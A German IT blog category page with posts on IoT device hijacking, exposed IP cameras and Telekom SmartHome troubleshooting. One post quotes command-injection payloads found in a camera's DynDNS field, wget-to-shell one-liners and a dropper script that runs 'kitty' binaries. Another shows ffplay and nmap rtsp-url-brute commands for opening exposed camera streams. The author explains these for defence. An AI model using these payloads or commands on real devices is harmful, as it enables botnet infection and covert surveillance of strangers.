Datenhaufen zu IT und Elektronik.

Kategorie: IoT & Smart-Devices (Seite 1 von 2)

Ist mein Netzwerk kompromittiert? Warum das kaum jemand merkt

Ich habe ja bereits etwas zum Thema IoT-Geräte geschrieben und warum diese oft deutlich schneller gehijackt werden, als man vielleicht erwartet.

Aber woher weiß man nun als normaler Anwender, ob zu Hause oder im eigenen Netzwerk etwas sein Unwesen treibt?
Nun ja; das ist leider überhaupt nicht so einfach.

Symbolische Darstellung eines kompromittierten Netzwerks mit Warnhinweisen, IoT-Kamera und verdächtigem Datenverkehr.

Klar, man kann sich ganz tolle IPS oder IDS aufbauen. Es gibt dafür auch Open-Source-Systeme; Snort fällt mir da als einer der älteren Vertreter als erstes ein.

Aber das alles ist nichts für den normalen Anwender oder den Privathaushalt. Dann gibt es noch ganz furchtbar viele Schlangenölanbieter mit ihrer „Sicherheitssoftware“ für Windows, Android und Co. Klar, man kann dort Firewall, Virenscanner usw. installieren. Aber hilft das wirklich? Jein, würde ich dazu sagen.

Ist man auf einem aktuellen Patchstand, sollten zumindest die bekannten Löcher geschlossen sein. Dann bleiben fast nur noch Zero-Day-Lücken Ein Virenfilter kennt diese in der Regel auch nicht und lässt so etwas dann schlicht durch.

Eine Firewall-Lösung kann zumindest erkennen, ob plötzlich ungewöhnlicher Traffic unterwegs ist oder ob versehentlich gestartete Dienste nach außen offen stehen. Nur steht und fällt das Ganze oft genau in dem Moment, in dem der Anwender nach einer Entscheidung gefragt wird.

Sicherheitssoftware muss naturgemäß sehr tief im Betriebssystem eingebettet werden. Hat diese Sicherheitssoftware dann selbst Sicherheitslücken, was deutlich häufiger vorkommt, als man zunächst glauben möchte, öffnet man im Zweifel die eigene Infrastruktur über genau die Software, die das eigentlich verhindern soll. Vertraut mir da bitte einfach, wenn ich sage, dass ich das schon sehr oft gesehen habe. Zudem installiert sich so eine Sicherheitssoftware oft nicht einfach auf einer Netzwerkkamera 😉

Der beste Schutz sind, meiner Meinung nach, noch immer gepflegte Systeme, gute Zugangsdaten und das nötige Misstrauen. Wie kam ich jetzt darauf? Ach richtig; wie findet man eigentlich heraus, ob es überhaupt ein Problem gibt?

Klar, man kann abwarten. Irgendwann merkt man es sicher; spätestens dann, wenn die Polizei mit einer Hausdurchsuchung vor der Tür steht und wissen möchte, was man denn da so alles im Internet verteilt oder angreift.

Eine wirklich gute Lösung habe ich da leider auch nicht. Am ehesten noch Dienste wie GreyNoise (https://check.labs.greynoise.io/). Dort kann man beispielsweise gegen AbuseDB prüfen, ob die eigene IPv4-Adresse irgendwo im Internet „auffällig“ geworden ist; etwa durch Portscans, Spam-Versand oder Malware-Traffic. Ebenfalls kann man hin und wieder bei Have I Been Pwned (https://haveibeenpwned.com/) vorbei schauen, um zu prüfen, ob die eignen Zugangsdaten irgendwo gefunden wurden.

Im Allgemeinen ist aber auch das nur ein Indiz. IP-Adressen wechseln; vor allem bei privaten Anschlüssen. Die eigene IP muss erst auffallen, gemeldet werden und so weiter.

Aber hey; vielleicht hat ja noch jemand einen besseren Tipp?

IoT-Geräte als Einfallstor: Warum Kameras & Co. häufiger kapert werden, als viele denken

Vielleicht erinnert ihr euch an meine Aussage, dass man jedem Gerät, das man mit dem Internet verbindet, mindestens so viel Vertrauen entgegenbringen sollte wie seiner Haustür. In den letzten Wochen durfte ich das wieder mehrfach sehr anschaulich erklären – direkt anhand realer Beispiele in der IT von Unternehmen oder im privaten Umfeld.

Image of IoT Camera and IT Security

Versteht mich nicht falsch: Es geht mir nicht darum, mich über irgendwen lustig zu machen oder zu behaupten, dass nur Fachleute irgendetwas einrichten dürfen. Wenn jemand ein IoT-Gerät kauft – eine Überwachungskamera, ein Thermometer, eine smarte Steckdose – dann geht diese Person zurecht davon aus, dass es „funktioniert“. Und für viele bedeutet „funktionieren“ automatisch auch: Es ist grundsätzlich sicher.
Leider ist genau das oft nicht der Fall.

IoT in der Praxis: Schnell, günstig – und sicherheitsblind

Viele dieser kleinen Netzwerkgeräte basieren auf irgendeiner Form von Linux. Das ist günstig, flexibel, gut anpassbar – perfekt für Hersteller, die aus Standardmodulen schnell ein neues „Produkt“ zusammensetzen wollen. Die Funktion steht im Vordergrund, denn die sieht der Kunde sofort. Sicherheitsrelevante Details dagegen sieht niemand und sie verzögern die Entwicklung. Also bekommen sie häufig weniger Aufmerksamkeit.

Selbst wenn ein Hersteller alles richtig bedenkt, kann später eine neue Angriffstechnik entstehen, gegen die das Gerät keine Abwehr hat. Dann braucht es ein Firmware-Update. Das kostet Geld, Zeit – und es hilft nur, wenn man es auch einspielt.

„Was soll schon passieren? Es ist doch nur eine Kamera am Mülltonnenplatz …“

Viele denken:
Was soll’s? Wenn jemand sehen kann, wie warm es im Keller ist oder welcher Waschbär die Tonnen plündert – na und?

Das Problem ist nicht der Inhalt der Kamera. Das Problem ist das Gerät selbst.

IoT-Geräte werden extrem häufig missbraucht – und zwar nicht, um euch auszuspionieren, sondern um sie für fremde Zwecke einzuspannen:

  • als Teil eines Botnetzes
  • zum Verteilen von Malware
  • für DDoS-Angriffe
  • zum Minen von Kryptowährungen
  • oder als Einstiegspunkt ins dahinterliegende Netzwerk

Im besten Fall merkt man davon nichts – außer vielleicht einem unerklärlich langsamen Internet.
Im schlechtesten Fall steht plötzlich die Polizei vor der Tür, weil über die eigene IP-Adresse strafbare Downloads verteilt wurden.

Und bevor jemand denkt „Das ist doch konstruiert“: Nein. Das passiert. Dauerhaft. Ich sehe fast täglich Spuren solcher Übernahmen.

Warum diese Geräte so leicht kompromittierbar sind

Bei manchen Geräten ist ein Login – falls überhaupt vorhanden – kaum mehr als ein wackliges Gartentor im Nirgendwo. Default-Passwörter, Basic-Auth ohne HTTPS, unsichere Dienste, schlechte Update-Strategien.

Screenshot of an compromised asus cctv ip camera iot

Ein Klassiker: nicht korrekt geprüfte Eingabefelder.
Viele Web-Interfaces akzeptieren blind alles, was man eingibt – und führen es sogar direkt als Teil eines Shell-Befehls aus.

Beispiel aus einer realen IoT-Kamera-Firmware:

ddns_DyndnsDynamic_hostname='$(wget http://1.2.3.4/x/vivo -O-|sh)'

oder

$(wget http://1.2.3.4/ipcam.zavio.sh -O- | sh)
$(wget http://1.2.3.4/zavio -O- | sh)
$(wget http://1.2.3.4/router.zyxel.sh -O- | sh)
$(wget http://1.2.3.4/router.raisecom.sh -O- | sh)
$(wget http://1.2.3.4/router.draytek.sh -O- | sh)
$(wget http://1.2.3.4/nas.dlink.sh -O- | sh)
$(wget http://1.2.3.4/router.aitemi.sh -O- | sh)
$(wget http://1.2.3.4/ipcam.tplink.sh -O- | sh)
$(wget http://1.2.3.4/router.netgear.sh -O- | sh)
$(wget http://1.2.3.4/dvr.tbk.sh -O- | sh)
$(wget http://1.2.3.4/router.aitemi.sh -O- | sh)

Die Zugangsdaten, die man in solchen Feldern eintragen „muss“, sind dabei oft schlicht. meow könnte hier wohl ein Verweis auf das, durch das Script, zu installierende kitty Paket sein:

Benutzername: meow
Kennwort: meow

Das Entscheidende ist jedoch die Konstruktion $(…).
Linux interpretiert das nicht als Text, sondern als auszuführendes Kommando – mit den Rechten, mit denen die DynDNS-Funktion läuft. Und das ist bei vielen Geräten immer noch root.

Der eigentliche Befehl ist dann:

wget http://1.2.3.4/vivo -O- | sh
  • wget lädt eine Datei herunter
  • -O- sorgt dafür, dass der Inhalt direkt ausgegeben wird
  • das Pipe-Symbol | übergibt den Inhalt an die Shell sh
  • die Shell führt alles aus, was darin steht

Sprich: Man lädt ein beliebiges Skript aus dem Internet – und führt es sofort mit root-Rechten aus. Ohne Rückfrage. Ohne Sicherheit.

Ein Beispiel für ein solches Script könnte folgendes sein:

cd /tmp || cd /var/tmp || cd /var || cd /mnt || cd /dev || cd /
wget http://1.2.3.4/kitty.x86; chmod 777 kitty.x86; ./kitty.x86 ipcam.zavio; rm kitty.x86
wget http://1.2.3.4/kitty.x86_64; chmod 777 kitty.x86_64; ./kitty.x86_64 ipcam.zavio; rm kitty.x86_64
wget http://1.2.3.4/kitty.arm; chmod 777 kitty.arm; ./kitty.arm ipcam.zavio; rm kitty.arm
wget http://1.2.3.4/kitty.mips; chmod 777 kitty.mips; ./kitty.mips ipcam.zavio; rm kitty.mips
wget http://1.2.3.4/kitty.mipsel; chmod 777 kitty.mipsel; ./kitty.mipsel ipcam.zavio; rm kitty.mipsel
wget http://1.2.3.4/kitty.aarch64; chmod 777 kitty.aarch64; ./kitty.aarch64 ipcam.zavio; rm kitty.aarch64

Und ja: Das existiert genauso in freier Wildbahn.

Wenn ihr so etwas in eurer Konfiguration findet: Uff.

Dann würde ich dem Gerät nicht mal mehr nach einem Reset vertrauen. Denn:

  • Wurde vielleicht eine manipulierte Firmware eingespielt?
  • Wurde der Bootloader verändert?
  • Wird nach jedem Neustart automatisch eine Backdoor geöffnet?
  • Gibt es überhaupt offizielle Firmware-Images zum Neu-Flashen?

Oft lautet die bittere Antwort: Nein.
Und dann bleibt realistisch nur: Gerät entsorgen.

Noch schlimmer: Der Angreifer hat damit meist vollen Zugriff auf das Netzwerk hinter dem Gerät.
Und IoT-Geräte speichern gerne:

  • WLAN-Passwörter
  • NAS-Zugangsdaten
  • SMTP-Accounts
  • API-Tokens
  • Nutzer- und Admin-Zugänge anderer Systeme

Damit kann ein Angreifer richtig Schaden anrichten.

Was also tun?

IoT ist nicht böse – aber oft schlecht gemacht.
Daher ein paar Grundregeln, die wirklich jeder beherzigen sollte:

  • IoT immer in ein eigenes, getrenntes Netz.
  • Kein direkter Zugriff aus dem Internet – nur wenn es wirklich sein muss und dann sauber gesichert.
  • Regelmäßig patchen, prüfen, auditieren.
  • Standardpasswörter sofort ändern.
  • Alle nicht benötigten Dienste deaktivieren.

Das ist nicht theoretisch, nicht konstruiert – das ist Alltag. Ich sehe es fast täglich.

IP-Kameras: Risiken, Portfreigaben (RTSP/HTTP) & Checks

Moin, ich mag noch einmal etwas zu IP-Überwachungskameras schreiben. Ihr erinnert euch vielleicht an meinen letzten Beitrag zu diesem Thema KLICK.

article image of ip cameras

Dort habe ich mich speziell auf den RTSP-Port bezogen und auch https://www.shodan.io/ als Beispiel genannt. Shodan scannt unaufhörlich IPv4-Adressen (bei IPv6 wäre ein flächendeckender Scan kaum praktikabel) und stellt seine Ergebnisse öffentlich zur Verfügung. Sicherheitsforscher — aber leider auch Menschen mit schlechten Absichten — bedienen sich solcher Dienste, um Informationen über Systeme hinter einer IPv4-Adresse zu bekommen, ganz ohne selbst groß zu scannen oder zu testen. Grob gesagt: Google für „Hacker“.

Dass IP-Kameras — vor allem günstige oder ältere Modelle — schnell ein Sicherheitsrisiko darstellen, habe ich schon erwähnt; wer das hier liest, weiß es in der Regel auch. Automatische Portfreigaben in Kombination mit solchen Kameras sind oft problematisch. Wenn ich über so etwas stolpere und ohne großen Aufwand den Betreiber ausfindig machen kann, versuche ich jeweils per E-Mail oder einem kurzen Anruf zu warnen. Das stößt mal auf offene Ohren, manchmal wird es komplett ignoriert (manchmal mit Abschalten des öffentlichen Zugriffs, manchmal ohne); selten kommt die Antwort „Anzeige ist raus“.

Kameras filmen oft sensible Bereiche, sowohl innen als auch außen. Das kann viele Probleme mit sich bringen, wenn diese Informationen einfach öffentlich zugänglich sind. Anders als bei Datei-Freigaben scheint bei Kamerastreams noch nicht die nötige Awareness vorhanden zu sein — genau deshalb informiere ich hier und weise darauf hin.

Es ist nicht nur der RTSP-Stream, der sich häufig per UPnP seinen Weg nach draußen „tunnelt“. Oft werden auch per DNAT / Portfreigabe / Portweiterleitung die Webinterfaces der Kameras direkt aus dem Internet erreichbar gemacht. Im schlimmsten Fall kann man also mit dem Browser direkt auf Webinterface und Stream zugreifen. Viele sichern den Zugriff mit der kameraeigenen Anmeldung — das ist schon mal ein Anfang. Leider reicht das nicht immer: Bei manchen Modellen sind Funktionen wie Snapshots oder einzelne JPEG-Endpoints weiterhin ohne Anmeldung erreichbar. Das ist auf den ersten Blick nicht sichtbar — kennt man aber die entsprechende URL, genügt ein Browseraufruf und man sieht wieder alles.

Deshalb gebe ich immer den Rat: Zugriff lieber hinter ein VPN legen und niemals direkt offen ins Internet. Gebt jedem Gerät und jedem Dienst, den ihr aus dem Internet erreichbar macht, mindestens so viel Vertrauen wie eurer Haustür. Und prüft regelmäßig, ob dieses Vertrauen noch gerechtfertigt ist.

Wer selbst prüfen möchte, ob die EIGENE Kamera trotz eingerichteter Anmeldung noch irgendwie ohne Login zugänglich ist, kann mein kurzes Python-Tool nutzen: https://github.com/Kernel-Error/cam_probe

Denkt also bitte einmal darüber nach, ob ihr allem, was ihr direkt mit dem Internet verbunden habt, mindestens das gleiche Vertrauen entgegenbringt wie eurer Haustür oder Wohnungstür. Denkt an die security.txt und daran, dass, wenn sich jemand die Mühe macht, euch über ein solches Problem zu informieren, diese Person damit wahrscheinlich den größten Aufwand und auch das größte Risiko für sich selbst aufnimmt – nur, um euch auf ein Problem hinzuweisen.
Einen solchen Fund zu ignorieren, zu verkaufen oder sonst wie auszunutzen, ist deutlich einfacher, als den Betreiber zu informieren.

Natürlich gibt es auch hier schwarze Schafe, aber die Vertrauenswürdigkeit einer solchen Nachricht lässt sich meist schnell per Google oder auch ChatGPT prüfen.
Frage? Dann fragen. 🙂

Magenta SmartHome Lüften: Lösung für Android-Probleme gefunden

Seit inzwischen knapp 10 Jahren nutze ich das Magenta SmartHome-System. Eine der wirklich praktischen Funktionen ist „Lüften“.

Sobald ein Tür- oder Fensterkontakt signalisiert, dass er geöffnet ist, wird ein Signal an die Heizungsventile gesendet, damit diese schließen. Gerade mit Kindern im Haushalt ist das eine tolle Funktion, denn so heize ich nicht versehentlich durch ein offenes Fenster oder gleich die ganze Terrasse.

Diese Funktion findest du in der SmartHome-App unter: Mehr → Heizung → Overflow-Menü → Einstellungen → Sensoren konfigurieren. Dort kannst du für jeden Raum die Kontakte auswählen, die für die Funktion genutzt werden sollen.

Screenshot der Telekom Magenta SmartHome App auf einem Andriod. Gezeigt wird das Menü Sensoren konfigurieren, für die Funktion Lüften der Heizungssteuerung.

Vor knapp zwei Jahren ist mir in der Winterzeit aufgefallen, dass ein ausgetauschter Sensor zwar einwandfrei funktionierte, aber von der „Lüften“-Funktion komplett ignoriert wurde. Also habe ich im Menü nachgeschaut: Der Sensor wurde als nicht ausgewählt angezeigt (grauer Haken oben rechts auf der Kachel). Ich wählte ihn aus, bestätigte mit dem Haken, wechselte erneut ins Menü „Sensoren konfigurieren“ – und der Sensor war wieder nicht ausgewählt. Ein endloser Kreislauf.

Zuerst dachte ich, das Problem liegt vielleicht an meinem Smartphone. Doch auch auf dem Gerät meiner Frau zeigte sich derselbe Fehler. Also: App deinstallieren, neu installieren. Leider ohne Erfolg.

Daraufhin kontaktierte ich den Magenta SmartHome-Support und schilderte mein Problem. Die Antwort kam nach ein paar Tagen: Ein alter Sensor blockiere wohl die Funktion. Als Lösung schlug man vor, die komplette SmartHome-App von der Zentrale zu löschen und alles neu einzurichten. Das hätte bedeutet, dass meine gesamte Konfiguration, alle Regeln und Szenen verloren gehen – und ich jedes Gerät neu anlernen müsste.

Da ich zahlreiche Geräte im Einsatz habe, war das für mich keine Option. Also entschied ich mich, abzuwarten. Schließlich war ich nicht der Einzige mit diesem Problem, und früher oder später würde es sicher eine Lösung geben.

Nun ist wieder Winter, und das Problem besteht weiterhin. Also wandte ich mich erneut an den Support, in der Hoffnung auf eine bessere Lösung. Diesmal bekam ich folgende Antwort:

Das Problem ist hier, dass noch ein alter bereits abgelernter Tür-Fensterkontakt in der Lüften Einstellung fest hängt.
Erkennen kann man dies in der Android App bei der Auswahl der Tür-Fensterkontakte. Hier wird oben in der Titelzeile die Anzahl der ausgewählten Geräte angezeigt. 
Ist die Zahl hier höher, als die sichtbar ausgewählten Tür-Fensterkontakte, so ist der Kunde von diesem Problem betroffen.
Unter iOS wird die Anzahl der ausgewählten Tür-Fensterkontakte nicht angezeigt.

Update 08.01.2025: Es wird noch ein weiteres Magenta SmartHome App Release mit Fehlerbehebungen geben. Es ist geplant, dass der Fehler dort behoben wird.
 
Workaround 1: Da der Fehler nur in der Android App auftritt, kann man das Problem mit der iOS App lösen. Mit der iOS App reicht es einen Tür-Fensterkontakt abzuwählen und zu speichern.
Danach lassen sich die aktuell angelernten Tür-Fensterkontakte wieder wie gewohnt auswählen/abwählen und auch speichern. Auch in der Android App.
Sofern der Kunde also ein iOS Gerät hat, ist dieser Workaround dem Workaround 2 zu bevorzugen.

Workaround 2: Das Plugin vom 3rd Level löschen lassen. Hier muss der Kunde dann jedoch alle Einstellungen, die er in der App vorgenommen hat, wieder neu Einrichten.
Regeln, Szenen, Heizkurve,  Übersichten ... alles. Insofern fragt bitte den Kunden bevor ihr ein 3rd Level Ticket erstellt, ob er mit dieser Löschung einverstanden ist. 

Workaround 2 war für mich weiterhin keine Option. Aber Workaround 1 klang vielversprechend – ein iOS-Gerät hatte ich noch im Regal. Also installierte ich die App, ging ins Menü „Sensoren konfigurieren“, wählte die gewünschten Sensoren aus – und siehe da: Es funktionierte! Seitdem läuft die Funktion auch wieder einwandfrei unter Android.

Man stelle sich vor, ich hätte tatsächlich den aufwendigeren Workaround 2 gewählt, nur um später herauszufinden, dass ein einmaliger Abstecher in die iOS-App genügt hätte.

Vielleicht rettet diese Info ja jemanden vor unnötigem Aufwand 😉 Laut Support soll das Problem mit einem zukünftigen Update behoben werden.

IP-Kameras als Sicherheitsrisiko: GeoGuessr und Datenschutz im Fokus​

Die meisten von euch werden das Spiel GeoGuessr kennen. Man bekommt ein Google-Street-View-Bild gezeigt, kann sich vielleicht noch ein paar Meter hin- und herbewegen und muss dann auf einer Weltkarte einen Marker setzen, wo man meint, dass dieses Bild aufgenommen wurde. Wer dem Punkt am nächsten kommt, gewinnt.

Eine etwas abgewandelte Version begegnet mir immer mal wieder, wenn ich mich an einem Bug-Bounty-Programm beteilige oder einfach mit offenen Augen durchs Internet spaziere. Damit ist natürlich kein aktives Port-Scanning auf Netzblöcke oder Ähnliches gemeint.

Worum geht es genau?

In den letzten Jahren verbreiten sich immer mehr billige „China-Kameras“ bei Heimanwendern, aber auch bei Unternehmen. Dagegen spricht erst einmal nichts.

Was leider oft übersehen wird, sind die kleinen automatischen Helferlein, die die Einrichtung und den Betrieb einer solchen Kamera möglichst einfach machen sollen. UPnP (Universal Plug and Play) haben manche vielleicht schon mal im Zusammenhang mit Windows 95 oder USB gehört (ja, ich bin alt …). So etwas gibt es aber auch für Router und Firewalls, also für Netzwerke. Bei einer Fritzbox nennt sich das beispielsweise „Automatische Portfreigabe“.

Der eine oder andere ahnt jetzt sicher schon etwas: Es gibt IP-Kameras, die sich so – vielleicht sogar ohne das Wissen des Betreibers – selbst über das Internet erreichbar machen. Das betrifft nicht selten die komplette Weboberfläche. Mal ist diese kennwortgeschützt, mal nicht.

Sehr oft findet sich auch nur der RTSP-Port (Real Time Streaming Protocol) offen im Internet. Per RTSP werfen solche Kameras oft einen einfachen Videostream aus, der die Anbindung an zentrale Videoüberwachungssysteme erlaubt. Auch RTSP-Streams lassen sich mit einer Anmeldung schützen, was aber scheinbar in der Regel werkseitig deaktiviert ist.

Wenn dieser Port offen ist, könnte man sich einfach per ffplay einen solchen Stream anschauen:

ffplay rtsp://1.2.3.4/11

Wenn man sich nicht sicher ist, wie die korrekte RTSP-URL für die jeweilige IP-Kamera lautet, kann nmap zusammen mit dem Script rtsp-url-brute helfen:

nmap --script rtsp-url-brute -p 554 1.2.3.4

Die rechtliche Lage

Nun kann es natürlich rechtlich schwierig sein, bei einer fremden IP-Adresse nach dem offenen Port 554/TCP zu suchen, dort per nmap nach einer nutzbaren RTSP-URL zu scannen und sich den Stream dann live per ffplay, nmap oder vlc anzuschauen. Schließlich hat man nicht das Einverständnis des Betreibers.

Screenshot of shodan search engine, filtering for RTSP Streams.

Natürlich hält das wohl weniger Menschen ab, die ohnehin Schlechtes im Sinn haben. Ebenfalls gibt es verschiedene Dienste, die 24/7 nichts anderes tun. Ein Beispiel ist hier vielleicht shodan.io – dort lässt sich direkt nach solchen Vorschaubildern filtern, ohne dass man selbst eine Verbindung zu betroffenen IPs aufnehmen muss.

Warum ist das alles überhaupt problematisch?

Hat ein Angreifer Böses im Sinn, ist ein Zugriff auf die Überwachungskamera sehr hilfreich. Man kommt so möglicherweise an Insiderinformationen, findet heraus, wo wertvolle Dinge gelagert werden, wann und wie die Öffnungszeiten sind oder sogar mögliche Zugangscodes und Kennwörter. Natürlich auch, welche Kunden sich zu welcher Zeit dort aufhalten usw.

Denkt man an eine Arztpraxis, kann das schnell eine echte Datenschutzkatastrophe werden. Wenn die Kamera im Wohnzimmer oder Schlafzimmer einer Wohnung steht, führt das ebenfalls schnell zu ungewollten Einblicken.

Wenn man einmal außer Acht lässt, dass niemand gerne ohne sein Wissen per Livestream im Internet zu sehen ist, halte ich das Thema Datenschutz für eines der größten Risiken.

In der Vergangenheit sind mir bereits Beispiele begegnet, die das Problem verdeutlichen: Arztpraxen mit Kamerablick von hinten auf die Anmeldung – inklusive direktem Blick auf Patienten, Monitore mit Patientendaten oder Vertragsabschlüsse bei Mobilfunkanbietern. Auch Überwachungskameras in DHL-Filialen, die Bild und Ton in Zoom und 4K aufzeichnen, habe ich gesehen.

Für private Betreiber kann es ebenfalls schnell zu einem Datenschutzproblem werden. Nicht jeder achtet beim eingestellten Bildausschnitt der Kamera darauf, die Vorgaben des Datenschutzes einzuhalten. So werden oft mehr öffentliche Bereiche oder sogar Nachbargrundstücke gefilmt, als zulässig ist.

Wenn diese Daten dann auch noch ohne Schutz und Hürden in die Hände Dritter geraten, wird es heikel. Hier sollte besser jemand mit rechtlichem Hintergrund eine Einschätzung abgeben. Für mich klingt das alles jedenfalls ziemlich unschön.

Was kann man tun?

Eine Abuse-Mail an den jeweiligen ISP (Internet Service Provider) schicken, mit der Bitte, ihre Kunden zu informieren? Kann man machen. Bei kleineren ISPs klappt das oft sogar, und die Betreiber werden informiert. Spricht man aber über einen großen ISP wie die Telekom, verschwinden einzelne Abuse-Mails gefühlt einfach im Nichts.

Sonst jemanden zu finden, der ein Interesse daran hat, den meist unwissenden Betreiber zu informieren, ist nahezu unmöglich. Weder unsere Behörden noch das BSI interessieren sich dafür. Möchte man also den Betreiber darauf hinweisen, bleibt realistisch nur die Möglichkeit, ihn selbst zu kontaktieren.

GeoGuessr in der Praxis

Jetzt sind wir beim Thema GeoGuessr: Man hat also nur das Bild der Kamera, die IP-Adresse mit einer recht groben und nicht immer stimmigen Geolokalisierung und vielleicht noch ein paar weitere Rahmeninfos oder Dienste auf dieser IP-Adresse. Hin und wieder macht es mir daher sogar Spaß, den eigentlichen Betreiber ausfindig zu machen und ihm per E-Mail oder telefonisch kurz auf diesen möglichen Missstand hinzuweisen.

Wenn du das also gerade liest, weil ich dich darauf hingewiesen habe, weißt du jetzt, warum 😀

Natürlich trifft man oft auf Unverständnis – oder das klassisch deutsche „Anzeige ist raus!“ begegnet einem immer mal wieder. Es bietet also auch eine gute Möglichkeit, die eigenen Kommunikationsskills zu erweitern.

Telekom SmartHome: Firmware-Updates für Homematic-Geräte von EQ-3

Da sich mit der Homebase von Qivicon die Geräte von eQ-3 nicht mit neuer Firmware betanken lassen hatte/habe ich noch immer gewisse Bedenken was Updates angeht. Gestartet habe ich meinen Test nur mit den einfachen HomeMatic Geräten, einfach weil es die IP-Geräte noch nicht gab. Auf der Webseite von eQ-3 habe ich dabei immer geprüft welche Firmware-Updates es für die jeweiligen Geräte gibt. Es gab bisher extrem wenige Updates und diese lösten keine „spannenden“ Probleme. Inzwischen habe ich mehr von den neuen HomeMatic IP Geräten im Einsatz. Hier sieht es schon etwas anders aus… Die Firmware dieser Geräte ändert sich oft und macht ganz schöne Sprünge. Einmal werden die Funktionen immer mehr erweitert. So fungiert zum Beispiel ein Zwischenstecker als eine Art Repeater/Router. Dieses erst ab einem bestimmten Firmwarestand…. Dann werden Bug gefixt welche oft für einen reibungsloseren Betrieb sorgen sollen.

Zum Updaten gibt es zwei brauchbare Lösungen. Einmal einen Funk-Konfigurationsstick USB und natürlich über die eigene Zentrale von eQ-3. Dieses CCU2 habe ich mir nun besorgt und habe angefangen den HomeMatic IP Geräten eine neue Firmware zur Verfügung zu stellen. Das Update sieht dabei immer so aus:

Gerät vom Telekom SmartHome System ablernen ==> Gerät an der CCU2 Basis anlernen ==> Firmware Update durchführen ==> Geräte von der CCU2 Basis ablernen ==> Gerät am Telekom SmartHome System anlernen.

Das liest sich nicht nur sehr aufwendig, dieses ist es ebenfalls. Warum jetzt nicht gleich komplett auf die CCU2 Basis und einfach irgendeine andere Lösung wie Orbylon / EASY App oder pocket control HM? Einmal weil das Geräteangebot um die einzelnen Lösungen für mich nicht ausreichend/passend ist und weil der woman acceptance factor nicht immer getroffen wird. Das System von Qivicon / Telekom hat „leider“ noch immer den großen Vorteil, dass man die verschiedensten Hersteller von SmartHome Geräten miteinander kombinieren kann :-/

Leider benötigt das Update der Firmware auf den HomeMatic IP Geräten zwischen 8 und 42 Stunden!!!! Die Firmware liegt dabei immer knapp über 100KB…. Bei den einfachen HomeMatic Geräten hat die Firmware eine ähnliche Größe, das Update der Firmware ist hier aber in 5 Min erledigt. 8 bis 42 Stunden O_o Ich muss doch mal lesen warum das SOOOOO langsam ist. Oder kann es mir schnell jemand erklären?

QIVICON Home Base 2.0 im Überblick: Telekom SmartHome Zentrale 2.0

Ich nutze privat an der einen oder andere Stelle das Smarthomezeugt vom rosa Haufen. Es funktioniert sogar in 80% der Fälle 🙂

Vor kurzem haben sie nun angefangen die Home Base 2.0 unter das Volk zu werfen. Hergestellt wird das Ding von Qivicon und um die Software rennt wohl dieser Kapps Verein, den genauen Zusammenhängen bin ich noch nie nach gelaufen…. Die alte Home Base war OK, wobei OK der Freund von Scheiße ist.

Kein WLAN, kein ZigBee (ok mit zusätzlichem USB-Stick), unglaublich langsam und vom Gefühl her wird es schlimmer umso mehr Geräte Angeschlossen werden. Zeitlich recht nahe beieinander sind auch diese super tollen neuen „IP“ Endgeräte von Q3 in den Shops. Die laufen natürlich mit der neuen Home Base, die alte 1.0 hat aber etwas später ein Firmware Update bekommen und kann nun ebenfalls mit den neuen Geräte sprechen. „Kann sprechen“ heißt dabei aber nicht „geht gut!“. Die arme alte Java POWERED Home Base scheint damit komplett überfordert zu sein.

Also habe ich mir mal die Version zwei von unserem Briefträger ins Haus bringen lassen. Im Grunde eine gute Idee, selbst das Endergebnis ist nun gut. Mit gut meine ich, dass ich nicht mehr den Eindruck habe die Home Base sei überfordert. Die Videos und Streams der Kameras laufen sauber und flüssig, ich habe seither keinen Verbindungsaussetzer mehr zu einem der Sensoren gehabt (passierte früher schon mal, konnte fast immer mit einem Reboot der Home Base erledigt werden). Super Ding also. Wenn da nicht die Einrichtung wäre.

Es gibt eine 1A Wechselanleitung der Telekom (das war ironisch gemeint)… In der steht grob zusammengefasst folgender Ablauf:

1. Löschen sie alle Geräte/Verbindungen auf ihrer Home Base 1.0

2. Machen sie einen Reset an ihrer Home Base 1.0

3. Alte Home Base abklemmen, neue Home Base anklemmen.

4. Neue Home Base registrieren und aktivieren.

5. Alle Geräte/Verbindungen neu einrichten.

Punkt 1 und 5 klingen schon nach Brechreiz, japp… Man geht in diese APP oder in das Webinterface und klickt sich in die einzelnen Räume, dann zum einzelnen Gerät und dann auf Löschen. Dabei hat die APP sowie das Webinterface aus irgendwelchen Gründen einen gefühlten delay von 1 – 2 Sekunden. Dann stellt man fest das einige Geräte nicht einfach gelöscht werden können… Nein man muss zum Gerät hin und noch einen Kopf zur Bestätigung drücken. Also renne ich erstmal knapp eine Stunde durch meine Bude und drücke wild auf allen möglichen Knöpfen herum. Dabei verreckt die APP 5 mal und bestimmt 30 mal kommt die Info: „Kann gerade keine Verbindung zu ihrer ranzigen Home Base herstellen!“. Schon beim Löschen der Geräte fällt mir unangenehm auf, wie viele es doch inzwischen sind und wer zum Teufel soll sich bloß merken wo und wie viele ich habe (einige sind Unterputz als Schalter…. Unterputz….). Irgendwann sind alle Geräte gelöscht und wenn gewünscht bestätigt. Ich schaue durch die APP, wirklich alles leer 🙂

Erstmal Kaffee…

Zurück am Smartphone und Notebook kontrolliere ich noch einmal ob alles weg ist und ich mich bisher brav an die Wechselanleitung von der Telekom gehalten habe (mir kommt der Type von der Hotline in den Sinn der meinte: „voll irrsinnig wichtig und so!“). Reset der alten Home Base ist schnell gemacht. Abklemmen und los mit der neuen 🙂

Geht aber nicht?!? Die APP ist fest davon überzeugt sich mit der alten Homebase nicht mehr unterhalten zu können, was mich nicht unbedingt wundert. Das Webinterface bei qivicon ist der gleichen Überzeugung. *brech* Support anrufen und dann first level Mensch? Ich finde in meinem Account bei qivicon den Button „exchange gateway“ *klick*. Mir wird gesagt doch bitte die Seriennummer der neuen Home Base einzugeben, mache ich natürlich ganz brav. Geht auch… Nicht mal die Aktivierung ist mehr nötig *grübel* So wichtig kann die Aktivierung auch nicht sein, denn selbst in der Wechselanleitung steht man soll da mal „irgendwas“ eintragen und die kommende Fehlermeldung ~ignorieren~. Fehlermeldung _ignorieren_ au man…… Irgendwann hört dann die neue Home Base auf rot zu blinken (ein gutes Zeichen, sie meint fertig, mit was auch immer, zu sein).

